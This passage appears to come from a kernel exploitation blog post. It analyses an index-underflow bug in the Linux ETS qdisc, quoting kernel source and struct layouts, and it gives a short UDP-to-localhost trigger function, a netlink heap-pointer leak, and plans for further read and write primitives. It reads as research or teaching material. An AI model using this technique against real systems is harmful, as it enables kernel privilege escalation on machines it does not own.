	<span class="k">if</span> <span class="p">(</span><span class="n">ets_class_is_strict</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">NL_SET_ERR_MSG</span><span class="p">(</span><span class="n">extack</span><span class="p">,</span> <span class="s">"Strict bands do not have a configurable quantum"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">err</span> <span class="o">=</span> <span class="n">ets_quantum_parse</span><span class="p">(</span><span class="n">sch</span><span class="p">,</span> <span class="n">tb</span><span class="p">[</span><span class="n">TCA_ETS_QUANTA_BAND</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">quantum</span><span class="p">,</span>
				<span class="n">extack</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">err</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">err</span><span class="p">;</span>

	<span class="n">sch_tree_lock</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="c1">// [2]</span>
	<span class="n">cl</span><span class="o">-&gt;</span><span class="n">quantum</span> <span class="o">=</span> <span class="n">quantum</span><span class="p">;</span>
	<span class="n">sch_tree_unlock</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>

	<span class="n">ets_offload_change</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>You may have already identified and flagged [2]. Indeed, <strong>quant</strong> my beloved is back. Writing this here onto the underflowed class could be quite… Good? Depending on what <code class="language-plaintext highlighter-rouge">cl-&gt;quantum</code> overlaps with. So if we underflow <code class="language-plaintext highlighter-rouge">q-&gt;classes</code>, what do we actually end up accessing? Lets see the <code class="language-plaintext highlighter-rouge">struct ets_sched</code> qdisc structure where <code class="language-plaintext highlighter-rouge">classes</code> is contained.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* offset      |    size */</span>  <span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="n">ets_sched</span> <span class="p">{</span>
<span class="cm">/*      0      |      16 */</span>    <span class="k">struct</span> <span class="n">list_head</span> <span class="p">{</span>
<span class="cm">/*      0      |       8 */</span>        <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="cm">/*      8      |       8 */</span>        <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev</span><span class="p">;</span>

                                   <span class="cm">/* total size (bytes):   16 */</span>
                               <span class="p">}</span> <span class="n">active</span><span class="p">;</span>
<span class="cm">/*     16      |       8 */</span>    <span class="k">struct</span> <span class="n">tcf_proto</span> <span class="o">*</span><span class="n">filter_list</span><span class="p">;</span>
<span class="cm">/*     24      |       8 */</span>    <span class="k">struct</span> <span class="n">tcf_block</span> <span class="o">*</span><span class="n">block</span><span class="p">;</span>
<span class="cm">/*     32      |       4 */</span>    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nbands</span><span class="p">;</span>
<span class="cm">/*     36      |       4 */</span>    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nstrict</span><span class="p">;</span>
<span class="cm">/*     40      |      16 */</span>    <span class="n">u8</span> <span class="n">prio2band</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="cm">/* XXX  8-byte hole      */</span>
<span class="cm">/*     64      |    1280 */</span>    <span class="k">struct</span> <span class="n">ets_class</span> <span class="n">classes</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>

                               <span class="cm">/* total size (bytes): 1344 */</span>
                             <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sizeof(struct ets_class)</code> is 80 bytes, so that puts us exactly 16 bytes before the start of <code class="language-plaintext highlighter-rouge">ets_sched</code> (<code class="language-plaintext highlighter-rouge">ets_sched.classes</code> offset is 64 bytes). Looking at <code class="language-plaintext highlighter-rouge">ets_class</code> we can see…</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">ets_class</span> <span class="p">{</span>
<span class="cm">/*      0      |      16 */</span>    <span class="k">struct</span> <span class="n">list_head</span> <span class="p">{</span>
<span class="cm">/*      0      |       8 */</span>        <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="cm">/*      8      |       8 */</span>        <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev</span><span class="p">;</span>

                                   <span class="cm">/* total size (bytes):   16 */</span>
                               <span class="p">}</span> <span class="n">alist</span><span class="p">;</span>
<span class="cm">/*     16      |       8 */</span>    <span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">qdisc</span><span class="p">;</span>
<span class="cm">/*     24      |       4 */</span>    <span class="n">u32</span> <span class="n">quantum</span><span class="p">;</span>
<span class="cm">/*     28      |       4 */</span>    <span class="n">u32</span> <span class="n">deficit</span><span class="p">;</span>
<span class="cm">/*     32      |      16 */</span>    <span class="k">struct</span> <span class="n">gnet_stats_basic_sync</span> <span class="p">{</span>
<span class="cm">/*     32      |       8 */</span>        <span class="n">u64_stats_t</span> <span class="n">bytes</span><span class="p">;</span>
<span class="cm">/*     40      |       8 */</span>        <span class="n">u64_stats_t</span> <span class="n">packets</span><span class="p">;</span>
<span class="cm">/*     48      |       0 */</span>        <span class="k">struct</span> <span class="n">u64_stats_sync</span> <span class="p">{</span>
                                       <span class="o">&lt;</span><span class="n">no</span> <span class="n">data</span> <span class="n">fields</span><span class="o">&gt;</span>

                                       <span class="cm">/* total size (bytes):    0 */</span>
                                   <span class="p">}</span> <span class="n">syncp</span><span class="p">;</span>

                                   <span class="cm">/* total size (bytes):   16 */</span>
                               <span class="p">}</span> <span class="n">bstats</span><span class="p">;</span>
<span class="cm">/*     48      |      20 */</span>    <span class="k">struct</span> <span class="n">gnet_stats_queue</span> <span class="p">{</span>
<span class="cm">/*     48      |       4 */</span>        <span class="n">__u32</span> <span class="n">qlen</span><span class="p">;</span>
<span class="cm">/*     52      |       4 */</span>        <span class="n">__u32</span> <span class="n">backlog</span><span class="p">;</span>
<span class="cm">/*     56      |       4 */</span>        <span class="n">__u32</span> <span class="n">drops</span><span class="p">;</span>
<span class="cm">/*     60      |       4 */</span>        <span class="n">__u32</span> <span class="n">requeues</span><span class="p">;</span>
<span class="cm">/*     64      |       4 */</span>        <span class="n">__u32</span> <span class="n">overlimits</span><span class="p">;</span>

                                   <span class="cm">/* total size (bytes):   20 */</span>
                               <span class="p">}</span> <span class="n">qstats</span><span class="p">;</span>
<span class="cm">/* XXX 12-byte padding   */</span>

                               <span class="cm">/* total size (bytes):   80 */</span>
                             <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">quantum</code> is at offset 24. <code class="language-plaintext highlighter-rouge">-16 + 24 = 8</code> so we are writing <code class="language-plaintext highlighter-rouge">quantum</code> to the lower 4 bytes of <code class="language-plaintext highlighter-rouge">active-&gt;prev</code>. Sick. Even better news is that we control quant, as it is taken directly from our message. Next step: what does this <code class="language-plaintext highlighter-rouge">active</code> get used for and what sort of damage can we do with this?</p>

<h2 id="speculating">Speculating</h2>

<p><em>insert image of L from death note here</em></p>

<p>Theres quite a few directions this could go now, Ctrl+F for <code class="language-plaintext highlighter-rouge">active</code> in <a href="https://elixir.bootlin.com/linux/v6.6.75/source/net/sched/sch_ets.c">the ets source file</a> and have some fun. My brain immediately beelined to the enqueuing and dequeuing process, and so we arrive at our inevitable destination.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">ets_qdisc_enqueue</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span>
			     <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">**</span><span class="n">to_free</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">qdisc_pkt_len</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">ets_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">ets_class</span> <span class="o">*</span><span class="n">cl</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">err</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">bool</span> <span class="n">first</span><span class="p">;</span>

	<span class="n">cl</span> <span class="o">=</span> <span class="n">ets_classify</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">sch</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">err</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">cl</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">&amp;</span> <span class="n">__NET_XMIT_BYPASS</span><span class="p">)</span>
			<span class="n">qdisc_qstats_drop</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
		<span class="n">__qdisc_drop</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">err</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">first</span> <span class="o">=</span> <span class="o">!</span><span class="n">cl</span><span class="o">-&gt;</span><span class="n">qdisc</span><span class="o">-&gt;</span><span class="n">q</span><span class="p">.</span><span class="n">qlen</span><span class="p">;</span>
	<span class="n">err</span> <span class="o">=</span> <span class="n">qdisc_enqueue</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">cl</span><span class="o">-&gt;</span><span class="n">qdisc</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">NET_XMIT_SUCCESS</span><span class="p">))</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">net_xmit_drop_count</span><span class="p">(</span><span class="n">err</span><span class="p">))</span> <span class="p">{</span>
			<span class="n">cl</span><span class="o">-&gt;</span><span class="n">qstats</span><span class="p">.</span><span class="n">drops</span><span class="o">++</span><span class="p">;</span>
			<span class="n">qdisc_qstats_drop</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="k">return</span> <span class="n">err</span><span class="p">;</span>
	<span class="p">}</span>
	
	<span class="c1">// [1]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">first</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">ets_class_is_strict</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">list_add_tail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cl</span><span class="o">-&gt;</span><span class="n">alist</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">active</span><span class="p">);</span>
		<span class="n">cl</span><span class="o">-&gt;</span><span class="n">deficit</span> <span class="o">=</span> <span class="n">cl</span><span class="o">-&gt;</span><span class="n">quantum</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">sch</span><span class="o">-&gt;</span><span class="n">qstats</span><span class="p">.</span><span class="n">backlog</span> <span class="o">+=</span> <span class="n">len</span><span class="p">;</span>
	<span class="n">sch</span><span class="o">-&gt;</span><span class="n">q</span><span class="p">.</span><span class="n">qlen</span><span class="o">++</span><span class="p">;</span>
	<span class="k">return</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After classifying a packet we arrive at [1]. If our packet is the first to be enqueued on this class/band’s qdisc, and the band isnt strict (normal bandwidth sharing band) we call into <code class="language-plaintext highlighter-rouge">list_add_tail</code> with our (potentially) corrupt <code class="language-plaintext highlighter-rouge">active-&gt;prev</code>. So what it do? Briefly:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// new = &amp;cl-&gt;alist</span>
<span class="c1">// head = &amp;q-&gt;active</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">list_add_tail</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">new</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">head</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">__list_add</span><span class="p">(</span><span class="n">new</span><span class="p">,</span> <span class="n">head</span><span class="o">-&gt;</span><span class="n">prev</span><span class="p">,</span> <span class="n">head</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// ...</span>
<span class="c1">// new = &amp;cl-&gt;alist</span>
<span class="c1">// prev = q-&gt;active-&gt;prev</span>
<span class="c1">// next = &amp;q-&gt;active</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_add</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">new</span><span class="p">,</span>
			      <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev</span><span class="p">,</span>
			      <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">next</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">// [1]</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">__list_add_valid</span><span class="p">(</span><span class="n">new</span><span class="p">,</span> <span class="n">prev</span><span class="p">,</span> <span class="n">next</span><span class="p">))</span>
		<span class="k">return</span><span class="p">;</span>

	<span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span>
	<span class="n">new</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">next</span><span class="p">;</span>
	<span class="n">new</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">prev</span><span class="p">;</span>
	<span class="c1">// [2] prev-&gt;next = new</span>
	<span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">,</span> <span class="n">new</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I did end up having to recompile a kernel with list hardening (CONFIG_LIST_HARDENED + CONFIG_DEBUG_LIST) turned off so we dont get destroyed at [1] - my default ubuntu kernel config had this disabled so I generally mirrored most of the important stuff to my target. Anyway.</p>

<p>So basically we end up doing <code class="language-plaintext highlighter-rouge">active-&gt;prev-&gt;next = &amp;cl-&gt;alist</code>, which is perfect for us (<code class="language-plaintext highlighter-rouge">active-&gt;prev</code> is controlled atp). Now, how do we trigger. Very very simple, just send a packet to the interface!</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Just send a packet to localhost</span>
<span class="kt">void</span> <span class="nf">trigger_write</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_DGRAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">saddr</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
  <span class="n">saddr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
  <span class="n">saddr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="mi">1234</span><span class="p">;</span>
  <span class="n">inet_pton</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="s">"127.0.0.1"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">saddr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">);</span>
  <span class="n">sendto</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s">"lol"</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">saddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">saddr</span><span class="p">));</span>
  <span class="n">close</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Port doesn’t matter here, as long as its being sent in the vague direction of lo. Another use of this lets us write back the value of <code class="language-plaintext highlighter-rouge">cl-&gt;quantum</code> over netlink, so instead of overwriting it we can leak it first. Looking back at <code class="language-plaintext highlighter-rouge">ets_class_change</code> there’s this check:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tb</span><span class="p">[</span><span class="n">TCA_ETS_QUANTA_BAND</span><span class="p">])</span>
		<span class="cm">/* Nothing to configure. */</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>If we <em>don’t</em> set <code class="language-plaintext highlighter-rouge">TCA_ETS_QUANTA_BAND</code> in the message attributes, we don’t overwrite the quantum value. So where is this return gonna take us back to? The call to <code class="language-plaintext highlighter-rouge">ets_class_change</code> originates in <code class="language-plaintext highlighter-rouge">tc_ctl_tclass</code> [1].</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="c1">// ...</span>
	<span class="c1">// [1]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">cops</span><span class="o">-&gt;</span><span class="n">change</span><span class="p">)</span>
		<span class="n">err</span> <span class="o">=</span> <span class="n">cops</span><span class="o">-&gt;</span><span class="n">change</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">clid</span><span class="p">,</span> <span class="n">portid</span><span class="p">,</span> <span class="n">tca</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">new_cl</span><span class="p">,</span> <span class="n">extack</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">// [2]</span>
		<span class="n">tclass_notify</span><span class="p">(</span><span class="n">net</span><span class="p">,</span> <span class="n">skb</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">new_cl</span><span class="p">,</span> <span class="n">RTM_NEWTCLASS</span><span class="p">,</span> <span class="n">extack</span><span class="p">);</span>
		<span class="cm">/* We just create a new class, need to do reverse binding. */</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">cl</span> <span class="o">!=</span> <span class="n">new_cl</span><span class="p">)</span>
			<span class="n">tc_bind_tclass</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">portid</span><span class="p">,</span> <span class="n">clid</span><span class="p">,</span> <span class="n">new_cl</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="c1">// ...</span>
</code></pre></div></div>

<p>Given we return 0, we next call into [2]. <code class="language-plaintext highlighter-rouge">tclass_notify</code> isnt too important, just know it sends class data back to us over rtnetlink, whats more important is what fills in this data. <code class="language-plaintext highlighter-rouge">tc_fill_tclass</code> is called from inside <code class="language-plaintext highlighter-rouge">tclass_notify</code> where it constructs a <code class="language-plaintext highlighter-rouge">tcmsg</code> to send our way. As part of this we eventually dump some information about our class:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="c1">// ...</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">nla_put_string</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">TCA_KIND</span><span class="p">,</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">ops</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">))</span>
		<span class="k">goto</span> <span class="n">nla_put_failure</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">cl_ops</span><span class="o">-&gt;</span><span class="n">dump</span> <span class="o">&amp;&amp;</span> <span class="n">cl_ops</span><span class="o">-&gt;</span><span class="n">dump</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">,</span> <span class="n">skb</span><span class="p">,</span> <span class="n">tcm</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
		<span class="k">goto</span> <span class="n">nla_put_failure</span><span class="p">;</span>
	<span class="c1">// ...</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cl_ops-&gt;dump</code> is <code class="language-plaintext highlighter-rouge">ets_class_dump</code> in this case. And of course, this fills in the <code class="language-plaintext highlighter-rouge">cl-&gt;quantum</code> value - aka 4 bytes of <code class="language-plaintext highlighter-rouge">active-&gt;prev</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="c1">// ...</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ets_class_is_strict</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">))</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">nla_put_u32</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">TCA_ETS_QUANTA_BAND</span><span class="p">,</span> <span class="n">cl</span><span class="o">-&gt;</span><span class="n">quantum</span><span class="p">))</span>
			<span class="k">goto</span> <span class="n">nla_put_failure</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="c1">// ...</span>
</code></pre></div></div>

<p>So getting a kmalloc-2k leak is easy, all we need to do is rummage through the message we get to find it. And it doesnt matter that its only 4 lower bytes because <strong>thats all we can write back into the pointer anyway</strong>.</p>

<p>So now we have that out of the way, how do we proceed? What primitives can be get from this?</p>

<h2 id="sploit-ideas">Sploit ideas</h2>

<p>So we have a pretty decent primitive, we can write a pointer to our qdisc allocation in kmalloc-2k ANYWHERE in the kmalloc heap. Pretty decent starting point. However bcuz I am kernel exp noob this took an embarrassingly long time. The first problem to take care of is leaks, we already have kmalloc-2k, but we’ll need kernel text and more heap leaks, ideally. My first strategy here was trying to abuse <code class="language-plaintext highlighter-rouge">ets_qdisc_dump</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">ets_qdisc_dump</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ets_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="n">opts</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="n">nest</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">band</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">prio</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">err</span><span class="p">;</span>

	<span class="c1">// ...</span>
	<span class="c1">// [1]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">nbands</span> <span class="o">&gt;</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nstrict</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">nest</span> <span class="o">=</span> <span class="n">nla_nest_start</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">TCA_ETS_QUANTA</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">nest</span><span class="p">)</span>
			<span class="k">goto</span> <span class="n">nla_err</span><span class="p">;</span>
		<span class="c1">// [2]</span>
		<span class="k">for</span> <span class="p">(</span><span class="n">band</span> <span class="o">=</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nstrict</span><span class="p">;</span> <span class="n">band</span> <span class="o">&lt;</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nbands</span><span class="p">;</span> <span class="n">band</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">nla_put_u32</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">TCA_ETS_QUANTA_BAND</span><span class="p">,</span>
					<span class="n">q</span><span class="o">-&gt;</span><span class="n">classes</span><span class="p">[</span><span class="n">band</span><span class="p">].</span><span class="n">quantum</span><span class="p">))</span>
				<span class="k">goto</span> <span class="n">nla_err</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="n">nla_nest_end</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">nest</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="c1">// ...</span>
	
	<span class="k">return</span> <span class="n">nla_nest_end</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">opts</span><span class="p">);</span>

<span class="nl">nla_err:</span>
	<span class="n">nla_nest_cancel</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">opts</span><span class="p">);</span>
	<span class="k">return</span> <span class="o">-</span><span class="n">EMSGSIZE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Given we have a leak of the qdisc already, its feasible we can reliably write anywhere within it and its contained structures. If we were to write a pointer value into <code class="language-plaintext highlighter-rouge">nbands</code>, it would be treated as a massive value. Then when we try to dump the qdisc, we would be able to read as many <code class="language-plaintext highlighter-rouge">quantum</code> values as we want from adjacent memory [2]. This ended up working quite well for an old test exploit I made with a different bug, however I didnt end up using this due to some…. Complications that arose when writing to and around <code class="language-plaintext highlighter-rouge">nbands</code>.</p>

<p>I found that trying to delete or reset the qdisc state after corrupting nbands resulted in a crash, the culprits being <code class="language-plaintext highlighter-rouge">ets_qdisc_reset</code> and/or <code class="language-plaintext highlighter-rouge">ets_qdisc_destroy</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">ets_qdisc_reset</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ets_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="kt">int</span> <span class="n">band</span><span class="p">;</span>

	<span class="c1">// [1]</span>
	<span class="k">for</span> <span class="p">(</span><span class="n">band</span> <span class="o">=</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nstrict</span><span class="p">;</span> <span class="n">band</span> <span class="o">&lt;</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nbands</span><span class="p">;</span> <span class="n">band</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">classes</span><span class="p">[</span><span class="n">band</span><span class="p">].</span><span class="n">qdisc</span><span class="o">-&gt;</span><span class="n">q</span><span class="p">.</span><span class="n">qlen</span><span class="p">)</span>
			<span class="n">list_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">classes</span><span class="p">[</span><span class="n">band</span><span class="p">].</span><span class="n">alist</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">for</span> <span class="p">(</span><span class="n">band</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">band</span> <span class="o">&lt;</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nbands</span><span class="p">;</span> <span class="n">band</span><span class="o">++</span><span class="p">)</span>
		<span class="n">qdisc_reset</span><span class="p">(</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">classes</span><span class="p">[</span><span class="n">band</span><span class="p">].</span><span class="n">qdisc</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">ets_qdisc_destroy</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ets_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="kt">int</span> <span class="n">band</span><span class="p">;</span>

	<span class="n">ets_offload_destroy</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="n">tcf_block_put</span><span class="p">(</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">block</span><span class="p">);</span>
	<span class="c1">// [2]</span>
	<span class="k">for</span> <span class="p">(</span><span class="n">band</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">band</span> <span class="o">&lt;</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nbands</span><span class="p">;</span> <span class="n">band</span><span class="o">++</span><span class="p">)</span>
